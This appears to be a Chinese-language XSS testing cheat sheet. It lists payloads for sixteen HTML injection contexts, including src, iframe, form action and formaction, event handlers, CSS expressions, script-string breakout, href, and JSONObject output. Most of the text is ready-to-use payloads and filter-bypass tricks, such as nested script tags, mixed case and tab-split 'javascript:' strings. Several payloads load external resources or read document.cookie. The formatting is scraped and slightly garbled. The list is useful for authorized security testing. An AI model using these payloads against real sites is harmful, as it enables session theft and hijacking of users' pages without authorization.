一、前言
下面整理16点常见使用属性标签和脚本Script带来的漏洞,分别有常规XSS示例、SRC属性区域、IFRAME标签、Embed标签、ACTION属性、Formaction属性、Background属性、Poster属性、DATA属性、CODE属性、事件触发、Expression属性、Location属性、Script标签、HREF属性、JSONObject输出json串可引发XSS等测试网站是否存储XSS跨站脚本漏洞。
二、具体说明
1.常规XSS测试
1)尝试插入比较正常的HTML标签,例如:<b>,<i>,<u>来看一下返回页面的情况是怎样的,是否被HTML编码了,或者标签被过滤了。
2)尝试插入不闭合的标签,例如:<b,<i,<u,<marquee然后看一下返回响应,是否对开放的标签也有过滤。
3)然后测试几个XSS的payload,基本所有的xss过滤器都会进行过滤的:
<script>alert(1);</script>@b@@b@<script>prompt(1);</script>@b@@b@<script>confirm(1);</script>@b@@b@<script src=" @b@@b@<!-- 看返回响应,是过滤的全部,还是只过滤了部分,是否还留下了alert,prompt,confirm字符,再尝试大小写的组合: -->@b@@b@<scRiPt>alert(1);</scrIPt>
4)如果过滤器仅仅是把<script>和</script>标签过滤掉,那么可以用下面的方式来绕过,这样当<script>标签被过滤掉,剩下的组合起来刚好形成一个完整的payload。
<scr<script>ipt>alert(1)</scr<script>ipt>
5)用<a href标签来测试,看返回响应
<a href="http://www.google.com">Clickme</a>
2.SRC属性区域,尝试插入以下字符
<img src=x onerror=prompt(2);>@b@@b@<img/src=aaa.jpg onerror=prompt(2);>@b@@b@<video src=x onerror=prompt(2);>@b@@b@<audio src=x onerror=prompt(2);>
3.IFRAME标签区域,尝试插入以下字符
<iframe src="javascript:alert(3)">@b@@b@<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
4.Embed标签区域
<embed/src=//goo.gl/nlX0P>
5.ACTION属性区域
1) 利用<form,<isindex等标签中的action属性执行javascript@b@@b@2) <form action="Javascript:alert(5)"><input type=submit>@b@@b@3) <isindex action="javascript:alert(5)" type=image>@b@@b@4) <isindex action=j	a	vas	c	r	ipt:alert(5) type=image>@b@@b@5) <isindex action=data:text/html, type=image>@b@@b@6) <form action='data:text/html,<script>alert(5)</script>'><button>CLICK
6.Form action属性区域
1) <isindexformaction="javascript:alert(5)" type=image>@b@@b@2) <input type="image" formaction=JaVaScript:alert(5)>@b@@b@3) <form><button formaction=javascript:alert(5)>CLICKME
7.Background属性区域
<table background=javascript:alert(6)></table> // 在Opera 10.5和IE6上有效
8.Poster属性区域
<video poster=javascript:alert(7)//></video> // Opera 10.5以下有效
9.DATA属性区域
1) <object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">@b@@b@2) <object/data=//goo.gl/nlX0P?
10.CODE属性区域
1) <applet code="javascript:confirm(document.cookie);"> // Firefox有效@b@@b@2) <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
11.事件触发区域
1) <svg/onload=prompt(10);>@b@@b@2) <marquee/onstart=confirm(10)>/@b@@b@3) <body onload=prompt(10);>@b@@b@4) <select autofocus onfocus=alert(10)>@b@@b@5) <textarea autofocus onfocus=alert(10)>@b@@b@6) <keygen autofocus onfocus=alert(10)>@b@@b@7) <video><source onerror="javascript:alert(1)">
12.Expression属性区域
1) <img style="xss:expression(alert(11))"> // IE7以下@b@@b@2) <div style="color:rgb(''�x:expression(alert(11))"></div> // IE7以下@b@@b@3) <style>#test{x:expression(alert(/XSS/))}</style> // IE7以下
13.Location属性区域
1) <a onmouseover=location='javascript:alert(12)'>click@b@@b@2) <body onfocus="loaction='javascript:alert(12)'">123
14.输入在Script标签中
1) 输入在script区域@b@@b@<script>@b@@b@Var x="Input";@b@@b@</script>@b@@b@2) 可控位置在Input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以执行js代码了@b@@b@3) ";alert(13)//
15.HREF内容可控
1) 例如:<a href="Userinput">Click</a>@b@@b@2) 可控的是Userinput那里我们需要做的只是把javascript代码输入就好了:@b@@b@3) javascript:alert(14)//@b@@b@4) 最后组合为:<a href="javascript:alert(14)//">Click</a>
16.JSONObject输出json串可引发XSS
JSONObject json = null;@b@@b@json = new JSONObject();@b@@b@json.put("code", 200);@b@@b@json.put("info", "tester");@b@@b@json.put("msg", "success");@b@@b@System.out.println(json);@b@@b@1) // 输出:{"code":200,"info":"tester","msg":"success"}@b@@b@2) 如果在info中注入{‘replace’:function(){alert(/xss/)}}呢?@b@@b@json = new JSONObject();@b@@b@json.put("code", 200);@b@@b@json.put("info", "{'replace':function(){alert(/xss/)}}");@b@@b@json.put("msg", "success");@b@@b@System.out.println(json);@b@@b@3) // 输出:{"code":200,"info":{"replace":function(){ alert(/xss/) }},"msg":"success"}@b@@b@4) JSONObject在输出json串时,info会作为对象输出,并且其中嵌入replace方法,js在使用replace方法转义过滤时,也就调用了嵌入的replace方法。@b@@b@5) 可以根据不同的场景把info构造成不同的对象,也可以构造成数组[function(){alert(/xss/)}] 或者 简单的函数 function(){alert(/xss/)}